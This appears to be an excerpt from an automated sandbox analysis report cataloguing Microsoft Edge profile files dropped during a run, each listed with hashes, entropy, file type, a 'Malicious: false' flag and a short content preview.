Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4542623779125127
Encrypted:	false
SSDEEP:	6144:fmqjIURwJQRcnaXIcUTBgQq1q26kZaHXY:DRcaXIS7g
MD5:	B08D8CFC7B9B3D282E277B178A4C55BA
SHA1:	8C65B02132403E1A3D88304715ED98C408D34C3A
SHA-256:	D7338FE57BC4F1332CF947B936C1C6AFC309A89A4D00F10D686E763121F556C7
SHA-512:	6E7A3418D3C8189880C7A355F769EB1A0DC7EA9486D1A3E5F9F1D967213E263DC148F81894FFD5467E496087EAFAAE51831ECFA66D7C8FDB2D494D4792ED4CC2
Malicious:	false
Preview:	...@..@...@.....C.].....@...............x...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hjjjla20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1e1d8c99-4693-42c5-8ffa-6371374a8214.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\56f85567-a4f5-4841-b80c-8c553d1a91c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17601), with no line terminators
Category:	dropped
Size (bytes):	17604
Entropy (8bit):	5.4879353889485225
Encrypted:	false
SSDEEP:	384:stFPGQSu4bs2QfhlMovqEmDhJV6VgVLVM6bGAQwB6WGlaTYX6:sbOXuCQfkoAJkih5bGPm8aTYq
MD5:	3971355DE17474B8988E4009A9953F50
SHA1:	CDA520F5509772BFE729404A8C45F8239066D4F3
SHA-256:	922866AE5215301A94D2A86E8A8EAE4B53C57F1D3EF7D1AD91EFA8E2A421EA11
SHA-512:	A6818B0DA7818D304C74FF278B86725B13288BF2ED63921B4EAE94911A28A493DA4B94C590EBA906E3EEF5372011EF3426023D23D79CD7A321BB41AB5D0F318C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f987a8f-1383-4187-b311-e4f44522e6b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7083be55-1ca7-421a-a05a-900442168aeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561460768470515
Encrypted:	false
SSDEEP:	768:CF1mtHCZw7pLGLPT5WP37frp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVdQYPGh5rwTj:CF1mtHCZ8cPT5WP37frpu1ja4QYehKTj
MD5:	95F63768A8782D425AB9CA6ADB7341BA
SHA1:	58F992E82E0B77C104335EF8A47DC53E378BD94D
SHA-256:	3DA286A0F51C0FA868EE1616FD924BB0651803E18FC770CBF4CA0C48158581AB
SHA-512:	1AB8C32BFDC6532F39867A2DB9BC90F652DA01BAEB42A72C82CADF5278484D56A083354096B1356C1342117EEAA92414BED29EA03C66191B043C9789F13B6D33
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376704299426981","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376704299426981","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8266a9f4-5278-4275-a9d8-b1bb40fe3e17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17436), with no line terminators
Category:	dropped
Size (bytes):	17439
Entropy (8bit):	5.491679951930202
Encrypted:	false
SSDEEP:	384:stFPGQSu4bs2QfhlMovqEmDhJV6VgVLVM6bGAQwB6WYaTYX6:sbOXuCQfkoAJkih5bGPmUaTYq
MD5:	A1A2E4921AC2AC319F0776082EB0EC81
SHA1:	4E6C2548BD4A116EEF027DD253B72C7C02B67EBB
SHA-256:	54B9C482CD25A0D4AC6D2C4C76141AA5538013FBE49D5751891F764B8466ED42
SHA-512:	2205B5D252C7F0A31597DB1B7FFE8385CAED0D3447456123207156885E923A39292C11DDB1A8AB6817234F2206400BD12FDB327E98422BFF7FC1C1FB87D45D94
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8cb0b911-6fa9-412d-97d4-578cb22b36f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17601), with no line terminators
Category:	dropped
Size (bytes):	17604
Entropy (8bit):	5.488105114503621
Encrypted:	false
SSDEEP:	384:stFPGQSu4bs2QfhlMovqEmDhJV6VgVLVM6bGAQwB6WylaTYX6:sbOXuCQfkoAJkih5bGPmoaTYq
MD5:	2F585FDF6601CBDCF286AAF53EF80F96
SHA1:	8669DC8788B74FA3E6EB37F0C28EDB20DF62C03E
SHA-256:	9CBE562DA8B2BCBA9D15AA82A7E98B2849A3F1677B14B107883BF4A91A6E8A6A
SHA-512:	D8D85DFD10067CA09E92243F4BA1E6D7A6DA44DD4AC81AF0E273952BD2A90884720D8FD7054FEBCA0CEC9E34AEC302B5D2310CFB183295EE93BFE897A9943F1D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376704300214140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.234039109798598
Encrypted:	false
SSDEEP:	6:HEzFHeq1923oH+Tcwtp3hBtB2KLlVEzFYL+q2P923oH+Tcwtp3hBWsIFUv:kpGYebp3dFLsxv4Yebp3eFUv
MD5:	DECDC5919D0EFD7B68D53CE74CDE5552
SHA1:	41EC1D718F3D337042F3AF118871302DE0F9693A
SHA-256:	C28C13F01A31A186AA4B83995D8856E3632E73FA9E23200D8A1C066A30A300AA
SHA-512:	3C8CFC6C6E6399CA98D0A899CFD042D19BF3815DE0EDF48A6191931A99713B666600ACE6B84F92307A2A289154AF533DAFD7659AC46FA0BD69F4632351DDD0F0
Malicious:	false
Preview:	2024/11/21-18:11:45.366 1f38 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/21-18:11:45.415 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222875614656361
Encrypted:	false
SSDEEP:	24576:v+/PN8FqfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Qfx2mjF
MD5:	593DAA1609029E98FCA02A66AA055FBE
SHA1:	55798976D1E3012477D226F9B24770CAA60CC18D
SHA-256:	CF0779A55D29B1B5DC752278D7C9CB0A1EB4064A58FDA66C0DA3573CD2211B92
SHA-512:	B4B90165BADE7ECC3824DC589995DA6CF4F21DEC3D22C9F891F13F0911D702FE0E1B253A24DAADBC733D6A39D7DDC5BA6EBD1DE6C4D87057A963C44814E595E3
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.103395333850728
Encrypted:	false
SSDEEP:	6:HEzFeaiQ+q2P923oH+Tcwt9Eh1tIFUt8YEzFet/QgZmw+YEzFZQVkwO923oH+Tcf:koaiVv4Yeb9Eh16FUt8/otYg/+/PI5Lw
MD5:	F95D8398C76126BFD0ECF791F41930DC
SHA1:	DFF783164E9485970745AF0593A47EE99FEF13BF
SHA-256:	0375A9075B2FA44958BD41B429D0A9A925508D325424E940F8C02FE579C6D546
SHA-512:	9F39BD3BA00D50A922CB0E9E4963364B95E390255FC9596A66D11EEE6086D31ACB71C3527EC5A2C984EB4ED4DA8FC375EEC048BE6F40910CC2442F57F217C692
Malicious:	false
Preview:	2024/11/21-18:11:45.263 2008 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-18:11:45.271 2008 Recovering log #3.2024/11/21-18:11:45.325 2008 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.103395333850728
Encrypted:	false
SSDEEP:	6:HEzFeaiQ+q2P923oH+Tcwt9Eh1tIFUt8YEzFet/QgZmw+YEzFZQVkwO923oH+Tcf:koaiVv4Yeb9Eh16FUt8/otYg/+/PI5Lw
MD5:	F95D8398C76126BFD0ECF791F41930DC
SHA1:	DFF783164E9485970745AF0593A47EE99FEF13BF
SHA-256:	0375A9075B2FA44958BD41B429D0A9A925508D325424E940F8C02FE579C6D546
SHA-512:	9F39BD3BA00D50A922CB0E9E4963364B95E390255FC9596A66D11EEE6086D31ACB71C3527EC5A2C984EB4ED4DA8FC375EEC048BE6F40910CC2442F57F217C692
Malicious:	false
Preview:	2024/11/21-18:11:45.263 2008 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/21-18:11:45.271 2008 Recovering log #3.2024/11/21-18:11:45.325 2008 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4625710618745819
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBusUe:TouQq3qh7z3bY2LNW9WMcUvBusUe
MD5:	BEDA6746EAD291E69A5D01FEC796F53D
SHA1:	D442251DCCAD9C3A199C51074A42E6C41DF98C03
SHA-256:	2BE44EAC63964EAA064841FB91F5A5DD18532ABDBC477458DCE3D35BB6A932B6
SHA-512:	A68003DFFCCB05F258E236F906872FFD99B30696A392D592CEBFB9707B37D812035562342020FAEFBE8724E4A8539FE4C24634AF71D3C6284BCD1B2A3A9D3335
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.209669730239947
Encrypted:	false
SSDEEP:	6:HEzFQuJN9+q2P923oH+TcwtnG2tMsIFUt8YEzFjaJZmw+YEzFja9VkwO923oH+TR:k7JOv4Yebn9GFUt8/hE/+/hk5LYebn9b
MD5:	CE9DFA9972E26F592491CB36C96F1D26
SHA1:	DB2708D5EFD1166E6D7355A877346FB6856DEE7A
SHA-256:	3E8268DD4C33FB056776B00AAE3ACA9485577677770A76180912F05B11A33D33
SHA-512:	5BD2CA6755113F4E32F23DD424D8150489C286ABB63FF73B52840A4328196E308C1636AA2B1FA3E3120A016EE21E6E168FAE4033562B5273D670907B3EDA5865
Malicious:	false
Preview:	2024/11/21-18:11:39.562 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-18:11:39.563 1d88 Recovering log #3.2024/11/21-18:11:39.563 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.209669730239947
Encrypted:	false
SSDEEP:	6:HEzFQuJN9+q2P923oH+TcwtnG2tMsIFUt8YEzFjaJZmw+YEzFja9VkwO923oH+TR:k7JOv4Yebn9GFUt8/hE/+/hk5LYebn9b
MD5:	CE9DFA9972E26F592491CB36C96F1D26
SHA1:	DB2708D5EFD1166E6D7355A877346FB6856DEE7A
SHA-256:	3E8268DD4C33FB056776B00AAE3ACA9485577677770A76180912F05B11A33D33
SHA-512:	5BD2CA6755113F4E32F23DD424D8150489C286ABB63FF73B52840A4328196E308C1636AA2B1FA3E3120A016EE21E6E168FAE4033562B5273D670907B3EDA5865
Malicious:	false
Preview:	2024/11/21-18:11:39.562 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/21-18:11:39.563 1d88 Recovering log #3.2024/11/21-18:11:39.563 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6126517542017923
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jiaoKpDoJmL:TO8D4jJ/6Up+ea9d
MD5:	DECE83489085B69042D04CADC1478FA2
SHA1:	981E50E1B5FE496A1979784D75118CA2FAA3F262
SHA-256:	3DF4B299DCB3CC254F03A72C557C9DCB08D55A0511E8447305F80B5AC8F35166
SHA-512:	9DA343B654A2488795A1F46CE5F4389D15DAA9D3A5302DAA132E3963E0A15CC1BED439195BADD158E536815BB0B91556D61FB346AC0117A13BD3FF0B82D835E4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354085161810028
Encrypted:	false
SSDEEP:	6144:fA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:fFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	8B1EB4E9F42FE7504EC331D48B431BC9
SHA1:	714A2E37F703E524B41572A5E2F17F52643681F4
SHA-256:	DE1DA724527981A0F410D1788CEA99B3DBB5CCBD4406865A3980C5E2174C6E96
SHA-512:	B00055D657A53DCBDD1A249CF5D5BD65419A5DEAE9E8AC0F8346D9960FBFFD8F80A19F77D7178DC8FB082AD5222C8C0C60441746341227E2C15F145D4D1565D9
Malicious:	false
